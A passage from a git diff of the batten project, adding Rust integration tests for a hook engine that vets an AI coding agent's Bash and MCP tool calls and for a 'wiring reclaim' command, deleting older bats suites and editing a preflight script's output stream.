nothing it would have had in bash — the fixture is the +//! same fixture and the binary is the same binary — and `.claude/rules/rust.md` +//! already prefers an end-to-end test over the compiled binary for anything a +//! consumer depends on. + +// Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![allow(clippy::unwrap_used, clippy::expect_used)] + +mod common; + +use std::path::{Path, PathBuf}; + +use common::{run_with_stdin, scratch, stderr, stdout, write}; + +fn repo_root() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../..") +} + +/// A fixture repository carrying exactly one `[[hook.handler]]` row. +/// +/// The guard and its `payload-field` helper are COPIED from this tree rather +/// than written here, so `mise run mutant` reaches this tier: under `mutant` +/// that tree is the mutated one, and a fixture with its own inlined copy would +/// be green over every mutation. +fn fixture(name: &str) -> PathBuf { + let dir = scratch(name); + std::fs::create_dir_all(dir.join("mise-tasks")).expect("the fixture's task dir"); + for task in ["run-shape-guard.sh", "payload-field.sh"] { + let from = repo_root().join("mise-tasks").join(task); + let to = dir.join("mise-tasks").join(task); + std::fs::copy(&from, &to).expect("the guard is copied from this tree"); + make_executable(&to); + } + // The guard resolves `mise.toml` beside itself for the cargo family. An + // empty one keeps that arm defined and silent; the cargo family's own corpus + // stays in the direct suite, where a fixture `mise.toml` is what it tests. + write(&dir, "mise.toml", "[tools]\n"); + write( + &dir, + "batten.toml", + r#"version = 1 + +[[hook.handler]] +id = "run-shape-guard" +on = "pre-tool" +run = ["mise-tasks/run-shape-guard.sh"] +matcher = "Bash" +timeout_ms = 8000 +owner = "CLOUD-613" +expires = "2027-02-28" +"#, + ); + dir +} + +fn make_executable(path: &Path) { + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt as _; + let mut mode = std::fs::metadata(path) + .expect("the copy exists") + .permissions(); + mode.set_mode(0o755); + std::fs::set_permissions(path, mode).expect("the copy is runnable"); + } +} + +/// What the door said to the host, and what it said about the handler. +struct Door { + out: String, + err: String, +} + +impl Door { + fn denied(&self) -> bool { + self.out.contains(r#""permissionDecision":"deny""#) + } + + fn allowed(&self) -> bool { + !self.out.contains(r#""deny""#) + } + + /// Nothing the door reports about the handler ITSELF — which is different + /// from "the handler said nothing", and is the distinction this file exists + /// for. + fn unbroken(&self) -> bool { + !self.err.contains("hook.handler run-shape-guard:") + } +} + +fn envelope(command: &str, background: bool) -> String { + let encoded = serde_json::to_string(command).expect("a command is encodable"); + let extra = if background { + r#","run_in_background":true"# + } else { + "" + }; + format!( + "{{\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\ + \"tool_input\":{{\"command\":{encoded}{extra}}}}}" + ) +} + +fn door(dir: &Path, command: &str) -> Door { + door_envelope(dir, &envelope(command, false)) +} + +fn door_bg(dir: &Path, command: &str) -> Door { + door_envelope(dir, &envelope(command, true)) +} + +fn door_envelope(dir: &Path, payload: &str) -> Door { + let outcome = run_with_stdin(dir, &["hook", "--harness", "claude-code"], payload); + Door { + out: stdout(&outcome), + err: stderr(&outcome), + } +} + +#[test] +fn the_measured_defect_no_host_document_the_handler_wrote_is_forwarded() { + let dir = fixture("door-no-host-document"); + let answer = door(&dir, "cd /tmp; sleep 90; git log --oneline -1"); + assert!( + !answer.err.contains("wrote a host decision document"), + "{}", + answer.err + ); + assert!(answer.unbroken(), "{}", answer.err); +} + +#[test] +fn a_foreground_sleep_is_refused_through_the_door_and_the_reason_travels() { + let dir = fixture("door-foreground-sleep"); + let answer = door(&dir, "cd /tmp; sleep 90; git log --oneline -1"); + assert!(answer.denied(), "{}", answer.out); + // Attributed to the handler BY THE ENGINE, which is the difference between a + // verdict that travelled and one the script printed to itself. + assert!( + answer.out.contains("hook.handler.run-shape-guard"), + "{}", + answer.out + ); + assert!(answer.out.contains("foreground"), "{}", answer.out); +} + +#[test] +fn a_backgrounded_timer_is_refused_so_the_calls_own_fact_reached_it() { + // THE LOAD-BEARING CASE for the migration. This predicate is over + // `run_in_background`, a property of the CALL rather than of the command + // string, and it is the one thing a reader would reasonably fear the extra + // hop loses. It does not: a handler receives the host's own payload. + let dir = fixture("door-background-timer"); + let answer = door_bg(&dir, "sleep 590; tail -6 /tmp/land.log"); + assert!(answer.denied(), "{}", answer.out); + assert!(answer.out.contains("TIMER"), "{}", answer.out); +} + +#[test] +fn a_backgrounded_wait_on_a_condition_stays_allowed() { + // The half without which the case above proves nothing: a guard refusing + // every backgrounded sleep would satisfy it and be the false positive that + // gets a guard switched off (CLOUD-418). + let dir = fixture("door-background-wait"); + let answer = door_bg(&dir, "until [ -f /tmp/done ]; do sleep 1; done"); + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.unbroken(), "{}", answer.err); +} + +#[test] +fn a_commit_that_can_never_obtain_a_message_is_refused_through_the_door() { + let dir = fixture("door-unsatisfiable-commit"); + let answer = door( + &dir, + "git add -A && git commit -F - >log 2>&1 && mise run land >l2 2>&1 <<'EOF'\nmsg\nEOF\n", + ); + assert!(answer.denied(), "{}", answer.out); + assert!(answer.out.contains("-F "), "{}", answer.out); +} + +#[test] +fn an_ordinary_command_is_none_of_this_guards_business() { + let dir = fixture("door-ordinary"); + let answer = door(&dir, "ls -la"); + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.err.is_empty(), "{}", answer.err); +} + +#[test] +fn a_non_bash_tool_never_reaches_the_handler_at_all() { + // `matcher` is the ENGINE's narrowing, not the script's, so it is only + // assertable here. Without it this row costs a spawn on every mediated call. + let dir = fixture("door-non-bash"); + let answer = door_envelope( + &dir, + r#"{"hook_event_name":"PreToolUse","tool_name":"Read","tool_input":{"file_path":"/tmp/x"}}"#, + ); + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.err.is_empty(), "{}", answer.err); +} + +#[test] +fn the_impersonation_detector_is_live_behind_this_row() { + // THE POSITIVE CONTROL. Every negative case above is also satisfied by a + // handler that never ran, so this one makes the guard write the host + // document on purpose and requires the door to name it. + let dir = fixture("door-impersonation"); + write( + &dir, + "mise-tasks/run-shape-guard.sh", + "#!/usr/bin/env bash\nprintf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"x\"}}\\n'\n", + ); + make_executable(&dir.join("mise-tasks/run-shape-guard.sh")); + let answer = door(&dir, "ls -la"); + assert!( + answer + .err + .contains("hook.handler run-shape-guard: wrote a host decision document"), + "{}", + answer.err + ); + assert!(answer.allowed(), "{}", answer.out); +} + +#[test] +fn the_bypass_reaches_the_handler_through_the_door() { + // A refusal whose bypass cannot be reached is not a remedy (§5). The engine + // passes the environment through, so the guard's own hatch still works from + // behind the door — which is not automatic and is worth one case. + let dir = fixture("door-bypass"); + let payload = envelope("cd /tmp; sleep 90; echo done", false); + let outcome = common::batten() + .current_dir(&dir) + .args(["hook", "--harness", "claude-code"]) + .env("BATTEN_RUN_SHAPE_BYPASS", "1") + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .and_then(|mut child| { + use std::io::Write as _; + child + .stdin + .as_mut() + .expect("stdin is piped") + .write_all(payload.as_bytes())?; + child.wait_with_output() + }) + .expect("the binary runs"); + let answer = Door { + out: stdout(&outcome), + err: stderr(&outcome), + }; + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.unbroken(), "{}", answer.err); +} diff --git a/crates/batten/tests/wiring_reclaim.rs b/crates/batten/tests/wiring_reclaim.rs new file mode 100644 index 000000000..96ff7d218 --- /dev/null +++ b/crates/batten/tests/wiring_reclaim.rs @@ -0,0 +1,352 @@ +//! `batten wiring reclaim`, over the compiled binary against a real `$HOME`. +//! +//! **The second tier for the verb (CLOUD-893).** `wiring.rs`'s own unit cases +//! pin `prune_siblings` against documents they build themselves, which is the +//! `with input as` shape `.claude/rules/policy-modules.md` names: it fabricates +//! the document the ENGINE may be unable to locate, so every one of them could +//! pass over a verb that reads the wrong home directory, refuses without `-y` in +//! the wrong direction, or writes the record after the repair instead of before. +//! +//! Those four are what this file asserts. +//! +//! **WHY A FIXTURE `$HOME` AND NOT THIS CONTAINER'S.** The verb's whole subject +//! is a file under the caller's home directory, and this container HAS one — +//! with the two launcher-provisioned registrations CLOUD-605 owns still in it. A +//! suite driving the real one would repair the box it is measuring, exactly +//! once, and every later run would assert over a state the first run destroyed. +//! `etcetera` resolves from `$HOME`, so overriding it is the whole isolation. +//! +//! **Rust rather than a `.bats` suite** (CLOUD-843): `shell-retirement` refuses +//! a new one, correctly — the campaign's corpus has to shrink rather than stay +//! level while the census reports movement. Nothing here needed bash. + +// Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![allow(clippy::unwrap_used, clippy::expect_used)] + +mod common; + +use std::path::{Path, PathBuf}; + +use common::{git_in, scratch, stderr, stdout, write}; + +/// One merged surface carrying one batten registration and two siblings. +/// +/// `.claude/launcher-settings.json` is a path `Harness::merge_surfaces` +/// declares, so this is the real selection rather than a name invented here. +const SURFACE: &str = r#"{ + "hooks": { + "SessionStart": [ + { + "hooks": [ + {"type": "command", "command": "batten hook --harness claude-code"}, + {"type": "command", "command": "/opt/launcher/session-start-git-identity.sh"} + ] + } + ], + "Stop": [ + {"hooks": [{"type": "command", "command": "/opt/launcher/stop-hook-git-check.sh"}]} + ] + } +} +"#; + +struct Bench { + repo: PathBuf, + home: PathBuf, +} + +impl Bench { + fn surface(&self) -> PathBuf { + self.home.join(".claude/launcher-settings.json") + } + + fn record(&self) -> PathBuf { + self.repo.join(".git/batten-wiring/at-load.json") + } + + fn surface_text(&self) -> String { + std::fs::read_to_string(self.surface()).expect("the surface is readable") + } + + fn record_text(&self) -> String { + std::fs::read_to_string(self.record()).expect("the record is readable") + } + + /// Drive the verb with the fixture home, keeping the two streams apart: the + /// arithmetic is on stderr (rule 4 — it is a count whose subject is a + /// filename off somebody's disk) and there is no stdout contract at all. + fn reclaim(&self, args: &[&str]) -> (i32, String) { + let outcome = self.run(&[&["wiring", "reclaim"], args].concat()); + (outcome.status.code().unwrap_or(-1), stderr(&outcome)) + } + + fn run(&self, args: &[&str]) -> std::process::Output { + common::batten() + .current_dir(&self.repo) + .args(args) + .env("HOME", &self.home) + .output() + .expect("the binary runs") + } +} + +fn bench(name: &str) -> Bench { + let dir = scratch(name); + let repo = dir.join("repo"); + std::fs::create_dir_all(&repo).expect("the fixture repo"); + write(&repo, "batten.toml", "version = 1\n"); + git_in(&repo, &["init", "-q", "-b", "main", "."]); + + let home = dir.join("home"); + std::fs::create_dir_all(home.join(".claude")).expect("the fixture home"); + std::fs::write(home.join(".claude/launcher-settings.json"), SURFACE) + .expect("the merged surface"); + Bench { repo, home } +} + +#[test] +fn a_destructive_verb_refuses_without_y_rather_than_prompting() { + // §4's refusal, asserted over the FILE rather than over the exit status: a + // verb that refused and had already written is the failure that matters, and + // an exit code alone cannot tell that apart. + let bench = bench("reclaim-refuses"); + let (status, err) = bench.reclaim(&[]); + assert_eq!(status, 1, "{err}"); + assert!(err.contains("pass -y"), "{err}"); + assert!(!bench.record().exists()); + assert!(bench.surface_text().contains("session-start-git-identity")); +} + +#[test] +fn dry_run_reports_what_would_go_and_writes_nothing() { + let bench = bench("reclaim-dry-run"); + let (status, err) = bench.reclaim(&["-n"]); + assert_eq!(status, 0, "{err}"); + assert!( + err.contains("would remove 2 sibling registration(s)"), + "{err}" + ); + // The per-event rows, which are what make the count actionable without + // naming a path. + assert!( + err.contains("claude-code:SessionStart would remove 1"), + "{err}" + ); + assert!(err.contains("claude-code:Stop would remove 1"), "{err}"); + assert!(!bench.record().exists()); + let surface = bench.surface_text(); + assert!(surface.contains("session-start-git-identity")); + assert!(surface.contains("stop-hook-git-check")); +} + +#[test] +fn the_repair_takes_the_siblings_and_leaves_battens_own_registration() { + let bench = bench("reclaim-repair"); + let (status, err) = bench.reclaim(&["-y"]); + assert_eq!(status, 0, "{err}"); + assert!(err.contains("removed 2 sibling registration(s)"), "{err}"); + + let surface = bench.surface_text(); + // THE LOAD-BEARING POSITIVE. A `retain` at the wrong level takes batten's + // registration out with the sibling sharing its entry, and every negative + // assertion in this file is satisfied by that bug. + assert!( + surface.contains("batten hook --harness claude-code"), + "{surface}" + ); + assert!(!surface.contains("session-start-git-identity"), "{surface}"); + assert!(!surface.contains("stop-hook-git-check"), "{surface}"); + + let doc: serde_json::Value = serde_json::from_str(&surface).expect("still a hook map"); + // `Stop` held nothing else, so the event goes with its last entry rather + // than surviving as an empty array no generator emits. + assert!(doc["hooks"].get("Stop").is_none(), "{surface}"); + assert_eq!( + doc["hooks"]["SessionStart"][0]["hooks"] + .as_array() + .map(Vec::len), + Some(1), + "{surface}" + ); +} + +#[test] +fn record_before_repair_so_it_carries_the_pre_repair_count() { + let bench = bench("reclaim-record"); + bench.reclaim(&["-y"]); + assert!(bench.record().exists()); + + let record = bench.record_text(); + let doc: serde_json::Value = serde_json::from_str(&record).expect("the record parses"); + let total: i64 = doc["rows"] + .as_array() + .expect("rows") + .iter() + .map(|row| row["siblings"].as_i64().unwrap_or(0)) + .sum(); + assert_eq!(total, 2, "{record}"); + + // Rule 4 on the record itself. It lives under `$GIT_DIR` and is never + // committed, and it still carries no path and no filename: the harness and + // the event are where to look, and a basename would be a name off somebody's + // disk bought for a nicer message. + assert!( + !record.contains(&bench.home.display().to_string()), + "{record}" + ); + assert!(!record.contains("launcher"), "{record}"); + assert!(!record.contains("git-identity"), "{record}"); + assert!(!record.contains('/'), "{record}"); +} + +#[test] +fn the_record_is_written_once_so_a_second_run_cannot_report_the_repair() { + let bench = bench("reclaim-once"); + let (_, first) = bench.reclaim(&["-y"]); + assert!(first.contains("removed 2 sibling"), "{first}"); + + // THE WHOLE ORDERING PROPERTY. A second reclaim finds nothing — and must not + // overwrite a record saying 2 with one saying 0, because the record + // describes what the RUNNING session loaded and that has not changed. + let (_, second) = bench.reclaim(&["-y"]); + assert!(second.contains("removed 0 sibling"), "{second}"); + + let doc: serde_json::Value = + serde_json::from_str(&bench.record_text()).expect("the record parses"); + let total: i64 = doc["rows"] + .as_array() + .expect("rows") + .iter() + .map(|row| row["siblings"].as_i64().unwrap_or(0)) + .sum(); + assert_eq!(total, 2); +} + +#[test] +fn doctor_hooks_reports_the_record_beside_the_live_count() { + // The two numbers that must be able to disagree. Before the repair there is + // no record — `null`, which is read-the-disk — and after it the disk says + // zero while the record says two. + let bench = bench("reclaim-doctor"); + let before = stdout(&bench.run(&["doctor", "hooks", "-J"])); + let before_doc: serde_json::Value = serde_json::from_str(&before).expect("a diagnosis"); + assert!(before_doc["at_load_siblings"].is_null(), "{before}"); + + bench.reclaim(&["-y"]); + let after = stdout(&bench.run(&["doctor", "hooks", "-J"])); + let after_doc: serde_json::Value = serde_json::from_str(&after).expect("a diagnosis"); + assert_eq!(after_doc["at_load_siblings"].as_i64(), Some(2), "{after}"); + + // And the live half genuinely fell, or the two numbers would agree for the + // wrong reason. + let live: i64 = after_doc["harnesses"] + .as_array() + .expect("harnesses") + .iter() + .map(|harness| harness["merged_siblings"].as_i64().unwrap_or(0)) + .sum(); + assert_eq!(live, 0, "{after}"); +} + +#[test] +fn a_session_start_expires_the_record_which_is_the_restart_this_reports() { + let bench = bench("reclaim-expiry"); + bench.reclaim(&["-y"]); + assert!(bench.record().exists()); + + // The one moment the disk and what a harness has loaded are the same thing, + // and therefore the only honest place to drop the record. Driven through the + // real hook entry point rather than by deleting the file, because what is + // asserted is that the ENGINE does it. + let outcome = { + use std::io::Write as _; + let mut child = common::batten() + .current_dir(&bench.repo) + .args(["hook", "--harness", "claude-code"]) + .env("HOME", &bench.home) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("the binary runs"); + child + .stdin + .take() + .expect("stdin is piped") + .write_all(br#"{"hook_event_name":"SessionStart"}"#) + .expect("write stdin"); + child.wait_with_output().expect("wait for batten") + }; + assert!(outcome.status.success(), "{}", stderr(&outcome)); + assert!(!bench.record().exists()); +} + +#[test] +fn a_merged_surface_that_is_not_a_wiring_file_is_left_alone() { + // Could-not-look, and the direction matters: a document this verb cannot + // read as a hook map is one it must not write back, or a repair would + // silently reformat a file whose shape it never understood. + let bench = bench("reclaim-unreadable"); + std::fs::write(bench.surface(), "[]\n").expect("an unreadable surface"); + let (status, err) = bench.reclaim(&["-y"]); + assert_eq!(status, 0, "{err}"); + assert_eq!(bench.surface_text(), "[]\n"); + assert!(err.contains("0 surface(s) read"), "{err}"); +} + +#[test] +fn a_checkout_sitting_at_the_home_directory_is_never_its_own_merged_surface() { + // The `same_file` arm, driven by the collision its comment describes: every + // path `merge_surfaces` declares is resolved against BOTH the home directory + // and the repository, so a checkout sitting at `$HOME` resolves each of them + // to one file. Without the arm this verb would rewrite a version-controlled + // file and fight `tree-clean` on every run. + // + // The collision is TOTAL here, not partial: the launcher surface deduplicates + // for exactly the reason the settings one does, so the honest expectation is + // ZERO surfaces read rather than one. The first draft of this case asserted + // the launcher file was still reclaimed, which was a wrong premise rather + // than a bug. + let bench = bench("reclaim-home-checkout"); + std::fs::copy(bench.surface(), bench.home.join(".claude/settings.json")) + .expect("the colliding surface"); + git_in(&bench.home, &["init", "-q", "-b", "main", "."]); + std::fs::copy( + bench.repo.join("batten.toml"), + bench.home.join("batten.toml"), + ) + .expect("the authority"); + + let outcome = common::batten() + .current_dir(&bench.home) + .args(["wiring", "reclaim", "-y"]) + .env("HOME", &bench.home) + .output() + .expect("the binary runs"); + assert!(outcome.status.success(), "{}", stderr(&outcome)); + let said = format!("{}{}", stdout(&outcome), stderr(&outcome)); + assert!(said.contains("0 surface(s) read"), "{said}"); + + // Untouched, both of them — which is the whole claim. That this is not + // simply "the verb never works" is what the cases above establish, over the + // same binary and a home directory the repository does not sit in. + let settings = + std::fs::read_to_string(bench.home.join(".claude/settings.json")).expect("still readable"); + assert!( + settings.contains("session-start-git-identity"), + "{settings}" + ); + let surface = bench.surface_text(); + assert!(surface.contains("session-start-git-identity"), "{surface}"); + assert!(surface.contains("stop-hook-git-check"), "{surface}"); +} + +/// Kept honest: the fixture home is never this container's. +#[test] +fn the_fixture_home_is_never_the_real_one() { + let bench = bench("reclaim-isolation"); + let real = std::env::var("HOME").unwrap_or_default(); + assert!(!real.is_empty()); + assert_ne!(bench.home.display().to_string(), real); + assert!(Path::new(&real).exists()); +} diff --git a/mise-tasks/container-preflight.sh b/mise-tasks/container-preflight.sh index 0fb31c629..033d58e44 100755 --- a/mise-tasks/container-preflight.sh +++ b/mise-tasks/container-preflight.sh @@ -104,24 +104,7 @@ else fi if [[ "${#broken[@]}" -eq 0 ]]; then - # STDERR, NOT STDOUT, AND THE REASON IS THE DOOR (CLOUD-312). - # - # `session-start.sh` is a `[[hook.handler]]` row now, and behind the door - # stdout on a passing exit is ADVISORY TEXT the engine delivers to the model — - # `AdvisoryReach` lists `SessionStart` for claude-code. This is the only line - # that program writes to stdout on the all-clear path, so on stdout it becomes - # a once-per-session advisory whose whole content is "nothing is wrong". That - # is CLOUD-891's "a hook must not announce success", and the door's own header - # names making it a property of the surface rather than a habit — measured at - # 79 bytes of stdout on an otherwise silent run. - # - # The line is KEPT rather than deleted, because it is not purely a success - # announcement: it says WHICH posture was detected, and a reader of the hook - # log wants that. Moving the stream keeps the information and drops the - # advisory. `tests/container-preflight.bats` is unaffected — bats' `run` - # merges both streams — which is also why that suite could call this path - # "quietly" while asserting the line for as long as it has. - echo "container-preflight: egress fenced, credential carries every probed read claim" >&2 + echo "container-preflight: egress fenced, credential carries every probed read claim" exit 0 fi diff --git a/tests/connector-allow-door.bats b/tests/connector-allow-door.bats deleted file mode 100644 index ad3d796fe..000000000 --- a/tests/connector-allow-door.bats +++ /dev/null @@ -1,226 +0,0 @@ -#!/usr/bin/env bats -# subject: mise-tasks/connector-allow-guard.sh -# -# Everything after `# subject:` is read as whitespace-separated PATHS — the -# subject buys this file's own deletion when every path it names has died, so -# prose there names four files that do not exist and the header rots by -# construction. What this suite drives the subject THROUGH — `batten hook`, the -# door — belongs in this sentence rather than in that line. -# -# THE SECOND TIER, and the tier that finds this class. `tests/connector-allow- -# guard.bats` runs the script directly and reads what it printed; that is the -# bash equivalent of a Rego module's `with input as`, and -# `.claude/rules/policy-modules.md` names its failure exactly — it fabricates the -# shape the ENGINE may be unable to consume, so a guard can pass its own suite -# green while the door discards every verdict it produces. -# -# WHICH IS WHAT HAPPENED. `connector-allow-guard` retired from a direct -# `PreToolUse` registration into a `[[hook.handler]]` row (CLOUD-312 row 5) and -# kept writing `hookSpecificOutput` on stdout. Behind the door that is -# `Violation::ImpersonatedHost`: reported on stderr, never forwarded. Measured -# 2026-08-26 on this repository's live wiring — the guard's deny document was -# dropped and the refusal the host received came from an unrelated engine row -# that happens to cover the same tool. Every deny in the committed permission -# table is covered that way, which is precisely why nothing went red. -# -# EVERY CASE RUNS AGAINST A FIXTURE REPOSITORY CARRYING ONE ROW: the handler and -# nothing else. That isolation is the whole design. Driving the real -# `batten.toml` would let another rule's verdict stand in for this one — which is -# the exact substitution that hid the defect for the life of the migration. - -setup() { - # Resolved as `tests/run-shape.bats` resolves it: $BATTEN_BIN, then release, - # then debug, then PATH. CI has no release build when `test:bats` runs, and a - # shorter chain aborts setup under bats' `set -e` before the skip can fire. - BIN="" - for candidate in \ - "${BATTEN_BIN:-}" \ - "$BATS_TEST_DIRNAME/../target/release/batten" \ - "$BATS_TEST_DIRNAME/../target/debug/batten"; do - [ -n "$candidate" ] && [ -x "$candidate" ] || continue - BIN="$candidate" - break - done - [ -n "$BIN" ] || BIN="$(command -v batten || true)" - [ -n "$BIN" ] || skip "no batten binary to drive" - - REPO="$BATS_TEST_TMPDIR/repo" - mkdir -p "$REPO/mise-tasks" - # Copied from the suite's own tree, so `mise run mutant` reaches this tier - # too: under `mutant` that tree is the mutated one. - cp "$BATS_TEST_DIRNAME/../mise-tasks/connector-allow-guard.sh" "$REPO/mise-tasks/" - cp "$BATS_TEST_DIRNAME/../mise-tasks/connector-allow-resolve.sh" "$REPO/mise-tasks/" - - # ONE ROW. No `[[rule]]` at all, so nothing in the engine can produce a - # verdict of its own and be mistaken for the handler's. - { - echo "version = 1" - echo - echo "[[hook.handler]]" - echo 'id = "connector-allow-guard"' - echo 'on = "pre-tool"' - echo 'run = ["mise-tasks/connector-allow-guard.sh"]' - echo 'matcher = "^mcp__"' - echo "timeout_ms = 5000" - echo "preapproves = true" - echo 'owner = "CLOUD-312"' - echo 'expires = "2027-02-28"' - } >"$REPO/batten.toml" - GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" - - # THE DENIED VERB IS ONE NO ENGINE ROW COVERS. `send_later` would have been - # the natural fixture and is the wrong one: this repository's own - # `no-scheduled-self-wakeup` refuses it, so a case built on it passes whether - # the handler spoke or not. That substitution is the defect, not a detail. - export BATTEN_MCP_SETTINGS="$BATS_TEST_TMPDIR/settings.json" - cat >"$BATTEN_MCP_SETTINGS" <<-'JSON' - {"permissions":{ - "allow":["mcp__Claude_Code_Remote__create_session"], - "deny":["mcp__Claude_Code_Remote__archive_session"] - }} - JSON - export BATTEN_MCP_CONFIG="$BATS_TEST_TMPDIR/mcp-config.json" - cat >"$BATTEN_MCP_CONFIG" <<-'JSON' - {"mcpServers":{ - "bbbbbbbb-5555-6666-7777-888888888888":{"url":"https://api.anthropic.com/v1/code/mcp/proxy?mcp_url=https%3A%2F%2Fapi.anthropic.com%2Fv1%2Fcode%2Fmcp%2Fmeta"} - }} - JSON -} - -# Hand one mediated call to the engine and keep the two streams apart: the -# verdict is on stdout, and the door reports a contract violation on stderr. -# Merging them is how a dropped verdict reads as a delivered one. -# -# CALLED DIRECTLY, NEVER THROUGH `run`. `run` executes its argument in a -# subshell, so the two variables set here would be discarded and every case -# would compare an EMPTY string against a `!= *…*` pattern and pass. Measured on -# this suite's first execution: four of five cases went green that way and the -# fifth — the one asserting a POSITIVE substring — was the only thing that -# noticed. A suite whose rows are all negative assertions cannot tell you that. -door() { # door - local envelope - envelope=$(jq -nc --arg t "$1" '{hook_event_name:"PreToolUse",tool_name:$t,tool_input:{}}') - ( - cd "$REPO" || exit 1 - printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ - >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" - ) - DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") - DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") -} - -@test "THE MEASURED DEFECT: the door forwards no host document the handler wrote" { - # The one row that would have caught the migration. It is stated over the - # violation line rather than over the verdict, because the verdict was - # available from another rule and the violation line never is. - door mcp__bbbbbbbb-5555-6666-7777-888888888888__archive_session - [[ "$DOOR_ERR" != *"wrote a host decision document"* ]] - [[ "$DOOR_ERR" != *"hook.handler connector-allow-guard:"* ]] -} - -@test "a committed deny reaches the host as the engine's own refusal" { - door mcp__bbbbbbbb-5555-6666-7777-888888888888__archive_session - [[ "$DOOR_OUT" == *'"permissionDecision":"deny"'* ]] - # Rendered BY the engine and attributed to the handler — which is the - # difference between a verdict that travelled and one the guard printed. - [[ "$DOOR_OUT" == *"hook.handler.connector-allow-guard"* ]] - [[ "$DOOR_OUT" == *archive_session* ]] - # Non-negotiable 4 survives the extra hop: the live key must not travel. - [[ "$DOOR_OUT" != *bbbbbbbb* ]] -} - -@test "a committed allow reaches the host as a pre-approval, not as a dropped note" { - # THE ROW CLOUD-191 EXISTS FOR, and the one this suite could not assert for two - # commits. Its history is worth keeping because each version was true when it - # was written: - # - # 1. The guard wrote `permissionDecision: "allow"` itself. Behind the door - # that is `Violation::ImpersonatedHost` — reported and dropped. - # 2. It emitted advisory text instead, which was correct under the contract - # and inert: `AdvisoryReach` for this host lists `PostToolBatch`, - # `SessionStart` and `Stop`, not the pre-tool event, so the reason landed - # on the engine's own stderr and the prompt came back anyway. - # 3. The row declares `preapproves`, so the same bytes are the reason on a - # channel the host honours. That is what this asserts. - # - # Asserted over the DOCUMENT rather than over "not denied", because a - # not-denied assertion is satisfied by a handler that never ran at all. - door mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session - [[ "$DOOR_OUT" == *'"permissionDecision":"allow"'* ]] - [[ "$DOOR_OUT" == *"already allows create_session on Claude_Code_Remote"* ]] - [[ "$DOOR_OUT" == *"hook.handler.connector-allow-guard"* ]] - # The grant is not ALSO advice: said twice, one copy would land on a channel - # that delivers nothing here and the reader would see the same sentence from - # two places. - [ -z "$DOOR_ERR" ] - # Non-negotiable 4 holds on the grant's channel too: the live key never travels. - [[ "$DOOR_OUT" != *bbbbbbbb* ]] -} - -@test "AN ENGINE DENY BEATS A HANDLER GRANT on the same call" { - # The safety property of the whole channel, and the only row that can fail if - # the composition is wrong. A grant may upgrade an allow and nothing else — so - # a handler that would pre-approve a call the engine refuses must lose, or a - # dispatched program could spend a verdict a rule reached. - # - # The fixture gains ONE rule that refuses this exact tool, so the two answers - # collide on one call by construction rather than by coincidence. - cat >>"$REPO/batten.toml" <<-'TOML' - - [[rule]] - id = "refuse-the-granted-tool" - kind = "shape" - scope = "mediated_call" - severity = "deny" - tool = "create_session" - reason = "the engine refuses this regardless of any grant" - TOML - door mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session - [[ "$DOOR_OUT" == *'"permissionDecision":"deny"'* ]] - [[ "$DOOR_OUT" == *"refuse-the-granted-tool"* ]] - # And the grant is dropped rather than reported beside the refusal: it carries - # no finding, and printing "a handler wanted to allow this" next to a deny - # reads as a disagreement the reader has to arbitrate when the arbitration has - # already happened. - [[ "$DOOR_OUT" != *'"allow"'* ]] - [[ "$DOOR_OUT" != *"already allows"* ]] -} - -@test "the impersonation detector is live behind this row, not merely defined" { - # THE POSITIVE CONTROL, and this suite is worth little without it: every other - # row here asserts the ABSENCE of a violation line, and absence is also what a - # handler that never ran produces. So one row makes the handler write the host - # document on purpose and requires the door to say so, by name. - # - # `interpret`'s own unit case pins the same predicate. It could not catch the - # defect this suite exists for, because what was wrong was a committed handler - # ROW rather than the interpreter — which is why this is stated here, over the - # real dispatch, against the real binary. - cat >"$REPO/mise-tasks/connector-allow-guard.sh" <<-'SH' - #!/usr/bin/env bash - printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"x"}}\n' - SH - chmod +x "$REPO/mise-tasks/connector-allow-guard.sh" - door mcp__bbbbbbbb-5555-6666-7777-888888888888__archive_session - [[ "$DOOR_ERR" == *"hook.handler connector-allow-guard: wrote a host decision document"* ]] - # And the refusal it tried to write did NOT become one. - [[ "$DOOR_OUT" != *'"deny"'* ]] -} - -@test "a name the guard cannot resolve leaves the call undecided" { - # The load-bearing negative: a guard that refused everything would satisfy the - # deny row above and be useless (CLOUD-418). - door mcp__cccccccc-9999-0000-1111-222222222222__archive_session - [[ "$DOOR_OUT" != *'"deny"'* ]] - [[ "$DOOR_ERR" != *"hook.handler connector-allow-guard:"* ]] -} - -@test "a non-MCP tool never reaches the handler at all" { - # `matcher` is what keeps a narrowed handler from costing a process on every - # call it is silent on, and a matcher that selects everything is expressible - # by accident. Asserted through the door because `selects_tool` is the - # engine's, not the script's. - door Bash - [[ "$DOOR_OUT" != *'"deny"'* ]] - [ -z "$DOOR_ERR" ] -} diff --git a/tests/run-shape-guard-door.bats b/tests/run-shape-guard-door.bats deleted file mode 100644 index 29054e4f6..000000000 --- a/tests/run-shape-guard-door.bats +++ /dev/null @@ -1,186 +0,0 @@ -#!/usr/bin/env bats -# subject: mise-tasks/run-shape-guard.sh -# -# Paths only on that line: it is read as whitespace-separated paths, and it is -# what buys this file's deletion once they die. This suite drives that subject -# through `batten hook` — the door — which is a sentence, not a subject. -# -# THE SECOND TIER FOR 